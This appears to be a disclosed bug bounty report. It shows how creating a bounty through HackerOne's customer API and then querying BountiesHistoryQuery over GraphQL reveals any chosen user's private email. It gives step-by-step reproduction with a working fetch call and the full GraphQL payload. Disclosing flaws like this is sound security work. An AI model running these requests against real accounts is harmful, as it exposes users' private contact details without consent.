Creation of bounties through Customer API leads to private email disclosure

**Summary:** Hello team, It is possible to reveal any user email using the `BountiesHistoryQuery` request. To demonstrate this, I will make use of both the API and the graphql requests. ### Steps To Reproduce 1. Log in to your account and create a demo 2. Head over to https://hackerone.com/organizations/████/settings/api_tokens and create a token with the report manager role 3. Head over to any profile of a user in hackerone and copy their user id 4. Use this request below to award a program bounty to that user using the API. `recipient_id` is the id of any user and `{id}` is your sandbox program id. ``` let inputBody = "{\n \"data\": {\n \"type\": \"bounty\",\n \"attributes\": {\n \"recipient_id\": \"██████████\",\n \"amount\": 51,\n \"reference\": \"newbounty\",\n \"title\": \"BOUNTY FROM Sandbox\",\n \"currency\": \"USD\",\n \"severity_rating\": \"high\"\n }\n }\n}"; let user = 'identifier'; let password = 'token'; let headers = new Headers(); headers.set('Authorization', 'Basic ' + btoa(user + ":" + password)); headers.set('Content-Type', 'application/json'); headers.set('Accept', 'application/json'); fetch('https://api.hackerone.com/v1/programs/{id}/bounties', { method: 'POST', body: inputBody, headers: headers }) .then(function(res) { return res.json(); }).then(function(body) { console.log(body); }); ``` 5. You will get a success message ██████ 6. After awarding the bounty, make the following Graphql request. Where `handle` is the handle of your sandbox team ``` {"operationName":"BountiesHistoryQuery","variables":{"handle":"████","pageSize":25,"product_area":"other","product_feature":"other"},"query":"query BountiesHistoryQuery($handle: String!, $pageSize: Int!, $cursor: String) {\n team(handle: $handle) {\n id\n currency\n offers_bounties\n state\n bounties(first: $pageSize, after: $cursor) {\n pageInfo {\n endCursor\n hasNextPage\n __typename\n }\n edges {\n node {\n id\n awarded_user{username} invitations{email token} awarded_amount\n awarded_bonus_amount\n created_at\n report {\n id\n database_id: _id\n reporter {\n email id\n username\n __typename\n }\n title\n __typename\n }\n total_awarded_amount\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"} ``` 7. Notice the email of the user is shown in the response █████████ ## Impact Reveal any user email